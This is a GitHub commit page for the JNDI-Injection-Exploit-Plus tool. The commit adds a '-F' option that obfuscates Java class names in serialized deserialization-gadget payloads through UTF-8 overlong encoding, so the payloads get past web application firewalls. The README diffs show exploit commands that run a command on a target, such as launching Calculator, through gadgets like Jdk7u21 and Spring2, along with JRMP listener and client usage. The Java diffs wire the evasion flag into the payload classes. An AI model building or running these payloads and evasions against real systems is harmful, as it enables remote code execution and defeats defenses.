Skip to content

Commit f081d6f

Browse files
cckuailongcckuailong
committed
增加绕waf功能：混淆class name
1 parent 7623e22 commit f081d6f

File tree

86 files changed

+334
-498
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

86 files changed

+334
-498
lines changed

‎README.md‎

Lines changed: 20 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -135,15 +135,27 @@ JbossRemoting | Jboss Remoting Port Unserialization
135135
- Example
136136

137137
```shell
138-
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
138+
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
139139
```
140140

141141
![](./img/4.png)
142142

143+
#### 6. Fusion
144+
145+
Hide class name to bypass WAF.
146+
147+
- Example
148+
149+
```shell
150+
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
151+
```
152+
153+
Reference: [https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html](https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html)
154+
143155
#### Web service to return Deserial Gadgets
144156

145157
```shell
146-
java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar
158+
java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar
147159
```
148160

149161
```shell
@@ -163,7 +175,7 @@ P.S. Param wrapper & output is opetional
163175
Run as
164176

165177
```shell
166-
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar [-C] [command] [-A] [address]
178+
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar [-C] [command] [-A] [address]
167179
```
168180

169181
where:
@@ -193,7 +205,7 @@ Points for attention:
193205
Run as
194206

195207
```shell
196-
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
208+
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
197209
```
198210

199211
where:
@@ -211,13 +223,13 @@ where:
211223
- JRMPListener
212224

213225
```shell
214-
java -cp JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
226+
java -cp JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
215227
```
216228

217229
- JRMPClient
218230

219231
```shell
220-
java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
232+
java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
221233
```
222234

223235
## Examples
@@ -229,7 +241,7 @@ Local demo:
229241
1. Start the tool like this:
230242

231243
```shell
232-
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
244+
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
233245
```
234246

235247
Screenshot:
@@ -260,7 +272,7 @@ For More Examples: [Test-JNDI-Injection-Exploit-Plus](https://github.com/cckuail
260272
### Deserialization Payloads
261273

262274
```shell
263-
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
275+
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
264276
```
265277

266278
Base64 Output Result:

‎README_zh.md‎

Lines changed: 20 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ P.S. 具体利用链名称及依赖见 [表格](./README.md)
1919
#### 使用方法
2020

2121
```
22-
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar [-C] [command] [-A] [address]
22+
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar [-C] [command] [-A] [address]
2323
```
2424

2525
#### 参数说明
@@ -39,7 +39,7 @@ $ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar [-C] [command] [-A]
3939
1. 运行工具
4040

4141
```
42-
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
42+
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
4343
```
4444

4545
![](./img/1.png)
@@ -64,7 +64,7 @@ class Test{
6464
#### 使用方法
6565

6666
```
67-
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
67+
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
6868
```
6969

7070
#### 参数说明
@@ -84,7 +84,7 @@ $ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar [-C] [command] [-D]
8484
1. 普通
8585

8686
```
87-
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
87+
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
8888
```
8989

9090
![](./img/3.png)
@@ -93,12 +93,12 @@ $ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "/System/Applica
9393

9494
- JRMPListener
9595
```
96-
java -cp JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
96+
java -cp JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
9797
```
9898

9999
- JRMPClient
100100
```
101-
java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
101+
java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
102102
```
103103

104104
#### 提供反序列化包装器
@@ -112,15 +112,27 @@ JbossRemoting | Jboss Remoting 服务反序列化
112112
- 示例
113113

114114
```shell
115-
$ java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
115+
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
116116
```
117117

118118
![](./img/4.png)
119119

120+
#### 混淆
121+
122+
混淆class名字来绕过WAF
123+
124+
- Example
125+
126+
```shell
127+
$ java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
128+
```
129+
130+
参考链接：[https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html](https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html)
131+
120132
#### 可以返回反序列化数据的web服务
121133

122134
```shell
123-
java -jar JNDI-Injection-Exploit-Plus-2.1-SNAPSHOT-all.jar
135+
java -jar JNDI-Injection-Exploit-Plus-2.3-SNAPSHOT-all.jar
124136
```
125137

126138
```shell

‎pom.xml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>cckuailong</groupId>
88
<artifactId>JNDI-Injection-Exploit-Plus</artifactId>
9-
<version>2.2-SNAPSHOT</version>
9+
<version>2.3-SNAPSHOT</version>
1010

1111
<properties>
1212
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

‎src/main/java/common/Serializerable.java‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
package common;
22

3+
import util.UTF8FusionObjectOutputStream;
4+
35
import java.io.ByteArrayOutputStream;
46
import java.io.IOException;
57
import java.io.ObjectOutputStream;
@@ -27,4 +29,15 @@ public static void serialize(final Object obj, final OutputStream out) throws IO
2729
objOut.writeObject(obj);
2830
}
2931

32+
public static byte[] serializeFusion(final Object obj) throws IOException {
33+
final ByteArrayOutputStream out = new ByteArrayOutputStream();
34+
serializeFusion(obj, out);
35+
return out.toByteArray();
36+
}
37+
38+
public static void serializeFusion(final Object obj, final OutputStream out) throws IOException {
39+
final ObjectOutputStream objOut = new UTF8FusionObjectOutputStream(out);
40+
objOut.writeObject(obj);
41+
}
42+
3043
}

‎src/main/java/jetty/JettyServer.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -268,7 +268,7 @@ public void doPost(HttpServletRequest request, HttpServletResponse response) thr
268268
CommonDeserial commonDeserial = new CommonDeserial(cmdParam);
269269
byte[] deserialBytes = new byte[0];
270270
try {
271-
deserialBytes = commonDeserial.execByDeserialize(payloadGadget, wrapper);
271+
deserialBytes = commonDeserial.execByDeserialize(payloadGadget, wrapper, false);
272272
} catch (Exception e) {
273273
e.printStackTrace();
274274
}

‎src/main/java/jndi/CommonDeserial.java‎

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ public CommonDeserial(String command){
1212
this.command = command;
1313
}
1414

15-
public byte[] execByDeserialize(String gadgetType, String wrapperType) throws Exception {
15+
public byte[] execByDeserialize(String gadgetType, String wrapperType, Boolean fusion) throws Exception {
1616
byte[] bytes = {};
1717
// System.out.println(gadgetType);
1818
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
@@ -21,11 +21,11 @@ public byte[] execByDeserialize(String gadgetType, String wrapperType) throws Ex
2121
}
2222

2323
if (wrapperType == null){
24-
Method method = payloadClass.getMethod("getBytes", String.class);
25-
bytes = (byte[])method.invoke(payloadClass.newInstance(), command);
24+
Method method = payloadClass.getMethod("getBytes", String.class, Boolean.class);
25+
bytes = (byte[])method.invoke(payloadClass.newInstance(), command, fusion);
2626
}else if (wrapperType.equals("JbossRemoting")){
27-
Method method = payloadClass.getMethod("getBytes", String.class);
28-
bytes = (byte[])method.invoke(payloadClass.newInstance(), command);
27+
Method method = payloadClass.getMethod("getBytes", String.class, Boolean.class);
28+
bytes = (byte[])method.invoke(payloadClass.newInstance(), command, fusion);
2929
JbossRemotingWrap wrap = new JbossRemotingWrap();
3030
bytes = wrap.wrap(bytes);
3131
}else{

‎src/main/java/jndi/LDAPRefServer.java‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -199,7 +199,7 @@ protected void sendResult ( InMemoryInterceptedSearchResult result, String base,
199199
}
200200

201201
String gadgetType = javaFactory.substring(8);
202-
byte[] bytes = commonDeserial.execByDeserialize(gadgetType, null);
202+
byte[] bytes = commonDeserial.execByDeserialize(gadgetType, null, false);
203203
System.out.printf("%s [LDAPSERVER] [%s] >> Send local LDAP reference result\n", getLocalTime(), javaFactory);
204204
e.addAttribute("javaClassName", "foo");
205205
e.addAttribute("javaSerializedData", bytes);

‎src/main/java/payloads/AspectJWeaver.java‎

Lines changed: 2 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -98,12 +98,7 @@ public Serializable getObject(final String command) throws Exception {
9898

9999
}
100100

101-
public static byte[] getBytes(String command) throws Exception {
102-
return PayloadRunner.run(AspectJWeaver.class, command);
103-
}
104-
105-
public static void main(String command) throws Exception {
106-
command = "ahi.txt;YWhpaGloaQ==";
107-
PayloadRunner.run(AspectJWeaver.class, command);
101+
public static byte[] getBytes(String command, Boolean fusion) throws Exception {
102+
return PayloadRunner.run(AspectJWeaver.class, command, fusion);
108103
}
109104
}

‎src/main/java/payloads/BeanShell1.java‎

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -55,11 +55,7 @@ public PriorityQueue getObject(String command) throws Exception {
5555
return priorityQueue;
5656
}
5757

58-
public static byte[] getBytes(final String command) throws Exception {
59-
return PayloadRunner.run(BeanShell1.class, command);
58+
public static byte[] getBytes(final String command, Boolean fusion) throws Exception {
59+
return PayloadRunner.run(BeanShell1.class, command, fusion);
6060
}
61-
62-
public static void main(final String command) throws Exception {
63-
PayloadRunner.run(BeanShell1.class, command);
64-
}
6561
}

‎src/main/java/payloads/C3P0.java‎

Lines changed: 2 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -82,12 +82,7 @@ public void setLoginTimeout ( int seconds ) throws SQLException {}
8282

8383
}
8484

85-
public static byte[] getBytes ( final String command ) throws Exception {
86-
return PayloadRunner.run(C3P0.class, command);
85+
public static byte[] getBytes (final String command, Boolean fusion) throws Exception {
86+
return PayloadRunner.run(C3P0.class, command, fusion);
8787
}
88-
89-
public static void main ( final String command ) throws Exception {
90-
PayloadRunner.run(C3P0.class, command);
91-
}
92-
9388
}

0 commit comments

Comments
 (0)